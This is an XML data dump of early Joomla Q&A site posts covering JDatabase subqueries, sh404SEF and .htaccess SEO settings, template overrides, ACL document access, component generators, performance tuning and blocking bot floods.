<?xml version="1.0" encoding="utf-8"?>
<posts>
  <row Id="1" PostTypeId="1" AcceptedAnswerId="143" CreationDate="2014-04-22T17:35:44.280" Score="32" ViewCount="5087" Body="&lt;p&gt;At &lt;a href=&quot;http://docs.joomla.org/Selecting_data_using_JDatabase&quot;&gt;http://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;, there isn't a documented method for writing a subquery using JDatabase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/gunjanpatel/8663333&quot;&gt;https://gist.github.com/gunjanpatel/8663333&lt;/a&gt; exemplifies one way of accomplishing this with (a few bits omitted):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$subQuery = $db-&amp;gt;getQuery(true);&#xA;$query    = $db-&amp;gt;getQuery(true);&#xA;&#xA;// Create the base subQuery select statement.&#xA;$subQuery-&amp;gt;select('*')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__sub_table'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('subTest') . ' = ' . $db-&amp;gt;quote('1'));&#xA;&#xA;// Create the base select statement.&#xA;$query-&amp;gt;select('*')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__table'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('state') . ' = ' . $db-&amp;gt;quote('1'))&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('subCheckIn') . ' IN (' . $subQuery-&amp;gt;__toString() . ')')&#xA;    -&amp;gt;order($db-&amp;gt;quoteName('ordering') . ' ASC');&#xA;&#xA;// Set the query and load the result.&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems like a good, plausible approach, but is there a better one?&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="10" LastEditDate="2014-04-25T12:49:01.357" LastActivityDate="2019-02-03T13:49:10.573" Title="Method for creating a subquery using JDatabase" Tags="|php|jdatabase|mysql|database|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2" PostTypeId="1" CreationDate="2014-04-22T17:40:15.487" Score="11" ViewCount="1515" Body="&lt;p&gt;Currently my site is using the sh404SEF plugin (Joomla 3.2) to add canonical urls to every page. This is working, however on the index page its outputting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.example.com/?view=home&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.example.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to update these canonical urls using the Joomla admin / sh404SEF plugin?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="159" LastEditDate="2014-05-11T08:23:56.857" LastActivityDate="2016-02-27T07:56:03.163" Title="Custom canonical urls using sh404SEF" Tags="|joomla-3.x|seo|sh404sef|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3" PostTypeId="1" AcceptedAnswerId="12" CreationDate="2014-04-22T17:40:50.383" Score="30" ViewCount="731" Body="&lt;p&gt;Many of us have come to understand Joomla! to refer to a specific software we use, yet there are 3 different types of software available from Joomla!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The Joomla! CMS;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) The Joomla! Platform; and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) The Joomla! Framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the differences?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="52" LastEditDate="2014-05-06T21:24:05.890" LastActivityDate="2014-05-06T21:24:05.890" Title="What are the differences between the Joomla! CMS, the Joomla! Platform and the Joomla! Framework?" Tags="|cms|joomla-framework-1.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5" PostTypeId="1" CreationDate="2014-04-22T17:47:35.340" Score="3" ViewCount="367" Body="&lt;p&gt;I'm new to sh404SEF, but I understand it is widely used.  I host with HostGator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using sh404SEF primarily to generate search engine friendly URL's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sh404SEF advertises that I can do this without modifying the .htaccess file, but while this might be the easiest approach, is it the &lt;code&gt;best approach?&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that I have no issue with having to modify the .htaccess file&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Should I make any modifications to it? &lt;/li&gt;&#xA;&lt;li&gt;What modifications should I make?&lt;/li&gt;&#xA;&lt;li&gt;What are the impact of those modifications?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27" LastEditorUserId="61" LastEditDate="2014-04-22T20:09:32.103" LastActivityDate="2015-06-13T10:22:34.743" Title="I'm using sh404SEF on HostGator. What should I do with my .htaccess?" Tags="|sh404sef|seo|.htaccess-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6" PostTypeId="1" AcceptedAnswerId="18" CreationDate="2014-04-22T17:52:09.743" Score="19" ViewCount="190" Body="&lt;p&gt;I am aware that the code is managed at &lt;a href=&quot;https://github.com/joomla/joomla-cms&quot;&gt;https://github.com/joomla/joomla-cms&lt;/a&gt; (for the CMS at least) and that I should submit pull requests to suggest that code be added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm especially interested in any good tips on managing my contributions and making sure that the code gets into the right place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I use different branches in my forked repo to manage different contributions? If so, what is the best way to link that branch back to the main branches in the Joomla repo?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good method to keep my forked copy up to date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on a good flow for managing this process would be really helpful!&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="69" LastEditDate="2014-04-24T08:25:21.450" LastActivityDate="2014-04-24T08:25:21.450" Title="How do I contribute code to Joomla?" Tags="|cms|github|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7" PostTypeId="2" ParentId="5" CreationDate="2014-04-22T17:52:53.400" Score="3" Body="&lt;p&gt;1) Not really. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) From a configuration perspective you don't need to change anything in the .htaccess file for proper and optimal functionality of sh404sef.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From an &quot;SEO&quot; perspective, there are some things I would recommend. Mainly ensure that you are properly redirecting non www to www (or vise versa) using this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/4159088/how-to-modify-htaccess-file-to-always-redirect-to-www&quot;&gt;https://stackoverflow.com/questions/4159088/how-to-modify-htaccess-file-to-always-redirect-to-www&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you add it below the &lt;code&gt;RewriteEngine On&lt;/code&gt; line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Redirects non-www URLs to www URLs as a 301 redirect. Gives some improved SEO juice so Google doesn't give SEO authority to more than one URL. &lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-04-22T17:52:53.400" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8" PostTypeId="1" AcceptedAnswerId="137" CreationDate="2014-04-22T17:55:53.433" Score="10" ViewCount="764" Body="&lt;p&gt;As many know, it is possible to override templates, views, modules, components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem is when Joomla! is updated, and the items overriden (in the template folder) get outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I keep the overrides updated each time an update is done to Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to do it by hand and check each new update, or is there some other way to do this?&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2022-01-21T05:22:20.913" Title="How to keep overrides updated?" Tags="|overrides|update|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9" PostTypeId="1" AcceptedAnswerId="29" CreationDate="2014-04-22T17:55:55.723" Score="7" ViewCount="3525" Body="&lt;p&gt;I can get the title of the active menu using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = &amp;amp;Jsite::getMenu();&#xA;$menuname = $menu-&amp;gt;getActive()-&amp;gt;title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how can I access it's parent title?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="168" LastEditDate="2014-07-31T07:56:32.533" LastActivityDate="2014-07-31T07:56:32.533" Title="Custom menu get title of the active menu's parent item" Tags="|php|cms|menu|module|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10" PostTypeId="1" AcceptedAnswerId="17" CreationDate="2014-04-22T17:56:53.860" Score="12" ViewCount="1339" Body="&lt;p&gt;I have created a couple of plugins for Joomla 3.2 and have recently started on a component to manage apartment rentals. I was wondering if there is a framework out there that had the basic file/folder structure already created with the files necessary to get a component going quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to have to recreate the wheel every time I start, and the files and classes necessary to get a component going have a basic necessary structure. Is there one already out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is not, which stock Joomla component would be a good example to work from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Upon seeing the answers, I think maybe &quot;framework&quot; was a bad choice of terms. I am not looking for anything that has a codebase of it's own. I was lokking for something that has the file/folder structure that is common to all Joomla components and required to run, such as the controller, the views folder, the models folder, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking for should have no dependencies that are not already a part of the Joomla core code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found one for joomla 1.5 that had all the necessary files and all you had to do was rename the classes and files to match the name of your component and install and you would have a basic admin view, a front end menu view, , etc... I am hoping someone out there created one for &lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="159" LastEditDate="2014-04-30T16:21:17.543" LastActivityDate="2023-04-13T23:31:07.073" Title="Joomla Component Tool or Scaffold?" Tags="|joomla-2.5|joomla-3.x|component|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11" PostTypeId="1" AcceptedAnswerId="22" CreationDate="2014-04-22T17:58:01.977" Score="12" ViewCount="1845" Body="&lt;p&gt;We are using J3.2.3 on one of our client's website, which is an online casino website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website is not live yet, as it is in development mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today we noticed that the server is too slow, though it's a dedicated server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After digging into the server we understood that there are a lot of requests coming from various IPs, bots, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can definitely block the IPs using Ubuntu tools, but this is not a solution. We should use a method to first detect them, then to block them, but at the same time not to block the real visitors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed sh404SEF and activated the Security features, as well as, Project Honey Pot!&#xA;Now when I go to Components &gt; sh404SEF &gt; Security Stats, I get these stats for the last 30-40 minutes:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TNico.png&quot; alt=&quot;sh404SEF security stats tab&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Question 1: Is it dangerous to have this much page requests?&#xA;Question 2: Is there a way to reduce the number of requests?&#xA;Question 3: Which is the best way to protect my Joomla website against the bots, DDoS attacks, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="39" LastEditorUserId="10" LastEditDate="2014-04-22T18:35:16.610" LastActivityDate="2014-04-23T03:10:16.573" Title="Getting too many (flood) request, how can I block/reduce bot requests to my site?" Tags="|sh404sef|security|" AnswerCount="7" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12" PostTypeId="2" ParentId="3" CreationDate="2014-04-22T17:59:59.443" Score="38" Body="&lt;p&gt;The &lt;strong&gt;Joomla! CMS&lt;/strong&gt; is the product you likely know and use. It's the Content Management System which powers many sites. Usually when talking about Joomla!, we just mean the CMS.&#xA;Official site: &lt;a href=&quot;http://www.joomla.org/&quot;&gt;http://www.joomla.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Joomla! Platform&lt;/strong&gt; is the old underlying code which powers the CMS. It used to be a separated project but was merged back into the CMS. The platform no longer exists as an own project&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Joomla! Framework&lt;/strong&gt; is a rather new project. It's meant as a framework to power various standalone applications. It's based on the CMS code, but was modernised and improved a lot. Currently, the CMS only uses a few classes from the framework, but that is likely to raise over the time. There are also other applications like JIssues which are built on this framework.&#xA;Official site: &lt;a href=&quot;http://framework.joomla.org/&quot;&gt;http://framework.joomla.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-04-22T18:33:08.893" LastActivityDate="2014-04-22T18:33:08.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13" PostTypeId="2" ParentId="8" CreationDate="2014-04-22T18:01:58.680" Score="3" Body="&lt;p&gt;Yes, you have to compare the files every time by hand and update the changes. On minor updates the chance is relatively small that you have to adjust them, but on major upgrades the overridden files can change significantly.&#xA;I would also prefer an easier way, but it's the only solution ATM.&lt;/p&gt;&#xA;" OwnerUserId="56" LastActivityDate="2014-04-22T18:01:58.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14" PostTypeId="1" CreationDate="2014-04-22T18:05:39.323" Score="6" ViewCount="516" Body="&lt;p&gt;I'm working on a pet project web site using Joomla! to organize my apartment (i.e. itemizing and photographing belongings (great for insurance), appliances with attached scanned receipts and warranties, having access to medical documents (i.e in case of emergencies), shopping lists, joint calendars, photo albums, Google Map etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my main concern is that some of these documents are quite sensitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the following 'user-groups' that I would like to set up in ACL.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;General Public &lt;/li&gt;&#xA;&lt;li&gt;Friends and Family (i.e. access to specific photo albums, events etc.)&lt;/li&gt;&#xA;&lt;li&gt;Residents (access to everything, including the 'sensitive docs')&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would like to set up the Joomla! site using ACL so that only those in the 'Residents' user group have access to download the docs (i.e. a download link with a description is only shown to those logged in as Residents and only Residents User Group members can download the docs).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can this be done with Joomla!'s native ACL?  How?  if not;&lt;/li&gt;&#xA;&lt;li&gt;What extensions can I use and how can this been accomplished?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Again, the &lt;em&gt;main concern&lt;/em&gt; is how to make these &lt;em&gt;sensitive docs&lt;/em&gt; and their description readily available authorized users, while protecting them from those who are not?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="61" LastEditDate="2014-04-22T22:29:11.570" LastActivityDate="2014-04-22T22:29:11.570" Title="ACL and control access to download documents based user-group permissions" Tags="|acl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16" PostTypeId="2" ParentId="8" CreationDate="2014-04-22T18:06:31.577" Score="12" Body="&lt;p&gt;When Joomla core is updated, no overrides in your template folder should be affected.  That's why they exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On core Joomla items, overrides are going to only rarely conflict with Joomla core updates.    When you override the Joomla core files, or any files, document document document.  Commenting in the override file is CRITICAL if this is going to happen to you regularly and you admin more than one or two sites.  You just won't remember what you changed! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your code editor should have a &quot;diff&quot; feature, to compare the new file to the old and identify line by line what changes were made.  If you've commented well, this diffing will show you exactly what was changed and if the file was affected by the update.  Your only changes should be your overrides... anything else and you do have to go and re-override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third party overrides, however, become an issue only if the developer is not using the MVC structure correctly.  If a component or module is laid out appropriately, the tmpl or view in question should not be affected by code updates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a major feature shift in that extension, you'll definitely need to document/comment and compare files.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2014-04-22T18:06:31.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17" PostTypeId="2" ParentId="10" CreationDate="2014-04-22T18:07:58.347" Score="15" Body="&lt;p&gt;One tool that I've used in the past is Component Creator: &lt;a href=&quot;http://www.component-creator.com/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.component-creator.com/en/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tool allows you to outline one table for free (more if you sign up for a paid package) as well as other general information on the component itself. You can then download an installable zip file to get the component started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those that are happy jumping into the code anyway, this can be a great simple method to jumpstart the component development.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There is also some extensions that you can install in Joomla to help you develop other Joomla components. One example of that style of helper is this free extension Easy Creator: &lt;a href=&quot;http://extensions.joomla.org/extensions/miscellaneous/development/5908&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/extensions/miscellaneous/development/5908&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be a great add-on for a testing environment mixed with a build tool in one nice package.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There is another tool called the Joomla Component Generator for simple and fast component generation. It allows you to create unlimited tables for free. There are paid packages but it's not necessary to purchase unless you need multiple views. It generates an installable zip file for download as well. A test reveals the benefits of this generator. Take a look at the generated code and indentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.componentgenerator.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.componentgenerator.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="9366" LastEditDate="2016-12-02T08:00:39.777" LastActivityDate="2016-12-02T08:00:39.777" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18" PostTypeId="2" ParentId="6" CreationDate="2014-04-22T18:09:04.950" Score="10" Body="&lt;p&gt;It's always good to have a dedicated branch for each Pull Request you are going to make.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the simplest ways to create a up-to-date new branch is to just use the GitHub web gui to edit the file in the original repository. When saving, GitHub will automatically create a new branch in your fork based on the branch you currently edit.&#xA;If you want to edit more files, you can edit them in your newly created and up-to-date branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are a bit familiar with Git, then you rebase your forked staging branch with the upstream original branch so it is in sync before you create new branches.&#xA;Also if you have to update a PR, it's recommended to rebase it instead of merging master. While both ways work, merge-commits are just creating bad history and are harder to squash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, PRs should be &quot;atomic&quot;. This means if you try to fix something, only fix that particular bug. Don't fix two different bugs in the same PR and also don't do codestyle fixes. It's easier to test and also less likely to create conflicts if the PR lives a bit longer than expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course add a good description of what you want to do and testing instructions to reproduce the issue and test your fix :-)&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-04-22T18:09:04.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19" PostTypeId="1" AcceptedAnswerId="109" CreationDate="2014-04-22T18:10:08.137" Score="17" ViewCount="12072" Body="&lt;p&gt;What can I do, other than using a cache plugin like jotcache, to &lt;strong&gt;improve the server response time&lt;/strong&gt; of my website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already removed all inactive articles modules, plugins and components, is there something else I can do to improve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am talking about the &lt;strong&gt;time before the client (browser) gets a response to his request&lt;/strong&gt;. And not the time the page loads.&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="5638" LastEditDate="2016-05-06T22:00:48.283" LastActivityDate="2017-02-12T07:15:04.523" Title="How to improve server response time?" Tags="|php|cache|performance|server-response-time|hosting|" AnswerCount="9" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20" PostTypeId="2" ParentId="19" CreationDate="2014-04-22T18:11:53.627" Score="1" Body="&lt;p&gt;Have you removed unused plugins? Joomla has to load and process every published plugin for events triggered in a request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to understand the extensions you've installed and how they interact with Joomla! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many extensions install plugins that manage content, system, or user activities to initiate code functions. Some of them may be superfluous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that k2 installs many plugins that respond to language related events that produce no real output for single language sites. Unpublishing those plugins can reduce processing time. &lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-04-27T18:27:30.640" LastActivityDate="2014-04-27T18:27:30.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22" PostTypeId="2" ParentId="11" CreationDate="2014-04-22T18:12:49.850" Score="7" Body="&lt;p&gt;If you are using Cpanel or any other linux distribution I would highly suggest using &lt;a href=&quot;http://configserver.com/cp/csf.html&quot;&gt;http://configserver.com/cp/csf.html&lt;/a&gt; and configuring it. It will reduce the amount of bots that are hitting your server and using up your resources.&lt;/p&gt;&#xA;" OwnerUserId="7" LastActivityDate="2014-04-22T18:12:49.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23" PostTypeId="2" ParentId="14" CreationDate="2014-04-22T18:13:01.347" Score="3" Body="&lt;p&gt;I tend to use Docman for this sort of thing, but you could still use the built in ACL to control regular articles and then embed document urls in the articles. If you've got a lot of documents though, I'd say a doc manager like Docman is worth looking at. You can set up groups and even have it hide categories you don't have access to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the other items, such as galleries, etc. Some components honor the ACL system and some don't (look for the properties button in the component). Another way is to use something like widget kit and embed the galleries in a joomla article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short answer is, yes, the built in ACL can be used to hide categories, articles, menu items, modules, etc so you should be able to set this up without too much trouble.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-04-22T18:13:01.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24" PostTypeId="2" ParentId="19" CreationDate="2014-04-22T18:16:25.907" Score="2" Body="&lt;p&gt;I have created more that hundreds of websites using Joomla!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases people think that Joomla is working heavily on the server, but according to the analizes done by me, the most important thing to keep your website FAST is to OPTIMIZE the IMAGES and JS/CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't use Joomla editors, like JCE, to just change the size of the image.&#xA;Use image editors like photoshop or any other editor to resize your images to the size it's needed!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use JS/CSS compressing tools.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;We always use Pingdom Tools to analyze the website speed and we use T3 Framework's built in feature to optimize JS/CSS! &lt;/p&gt;&#xA;" OwnerUserId="39" LastEditorUserId="39" LastEditDate="2014-04-22T22:37:58.567" LastActivityDate="2014-04-22T22:37:58.567" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="25" PostTypeId="2" ParentId="19" CreationDate="2014-04-22T18:16:47.297" Score="4" Body="&lt;p&gt;You will want to also look into reducing local assets and proper caching. One thing that you can do is use CDN plugins. Here are two I would recommend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'corePHP' jomCDN - &lt;a href=&quot;https://www.corephp.com/joomla-products/jomcdn&quot; rel=&quot;nofollow&quot;&gt;https://www.corephp.com/joomla-products/jomcdn&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NoNumbers CDN For Joomla! - &lt;a href=&quot;http://www.nonumber.nl/extensions/cdnforjoomla&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/cdnforjoomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if none of the above seem to resolve the issues you may have a deeper issue - possibly within your template, the server itself, or other things. If that is the case it might be best to hire someone to hunt down the issue and resolve it for you.&lt;/p&gt;&#xA;" OwnerUserId="7" LastEditorUserId="7" LastEditDate="2014-04-22T18:26:59.943" LastActivityDate="2014-04-22T18:26:59.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26" PostTypeId="1" AcceptedAnswerId="53" CreationDate="2014-04-22T18:18:35.920" Score="13" ViewCount="1187" Body="&lt;p&gt;Currently to update templates on our production site, we are taking the site offline, changing the template, uninstalling the template, reinstalling it, changing the template settings back, and then putting the site back online. I generally am not a fan of taking the site down for any reason and this process allows for errors especially with templates used only for a few pages. Components and such can be updated easily, but it seems this same functionality is omitted for templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a better methodology for handling template updates that eliminates taking the site offline?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="61" LastEditDate="2014-04-22T22:28:41.270" LastActivityDate="2014-04-22T22:28:41.270" Title="What is the proper methodology for updating templates?" Tags="|update|templates|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27" PostTypeId="2" ParentId="11" CreationDate="2014-04-22T18:19:07.417" Score="8" Body="&lt;p&gt;You can use CloudFlare as firewall to your site:&#xA;&lt;a href=&quot;http://www.cloudflare.com/features-security&quot;&gt;http://www.cloudflare.com/features-security&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2014-04-22T18:19:07.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28" PostTypeId="2" ParentId="14" CreationDate="2014-04-22T18:19:16.477" Score="7" Body="&lt;p&gt;DocMan will do this. &#xA;&lt;a href=&quot;http://www.joomlatools.com/extensions/docman/overview&quot;&gt;http://www.joomlatools.com/extensions/docman/overview&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Configure your user groups with this inheritance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Public &lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Friends and Family (inherits the PUBLIC settings but has more&#xA;access) &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Residents (inherits the Friends and Family settings but has    more&#xA;access)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then configure your categories and documents in the DocMan component with the correct access levels. I like to set my DocMan categories for the minimum level of access (in your case, PUBLIC), then set the access levels of the individual files. This way, everyone can see the categories, but only those with the required access can see the documents.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2014-04-22T18:19:16.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29" PostTypeId="2" ParentId="9" CreationDate="2014-04-22T18:20:48.953" Score="10" Body="&lt;p&gt;Try this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;$parent = $menu-&amp;gt;getItem( $menu-&amp;gt;getActive()-&amp;gt;parent_id );&#xA;$parentname = $parent-&amp;gt;title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need the link&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parentlink = JRoute::_( $parent-&amp;gt;link . '&amp;amp;Itemid=' . $parent-&amp;gt;id );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26" LastActivityDate="2014-04-22T18:20:48.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30" PostTypeId="2" ParentId="19" CreationDate="2014-04-22T18:21:00.607" Score="8" Body="&lt;p&gt;I assume that you have run your site through Google Page speed, and you are indeed looking at reducing the page response time i.e. time taken by your markup to be sent to the browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most likely culprits for these are heavy queries. Turn on the debug and look at the bottom of the page to find out which are the most heavy queries and remove or reduce them. You can also take help of your MySQL server's slow query logs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next thing that you can look at is caching. Depending upon the kind of site you have you can turn of conservative or progressive caching. Progressive is to be used on sites that don't have and user related features.&lt;/p&gt;&#xA;" OwnerUserId="67" LastActivityDate="2014-04-22T18:21:00.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
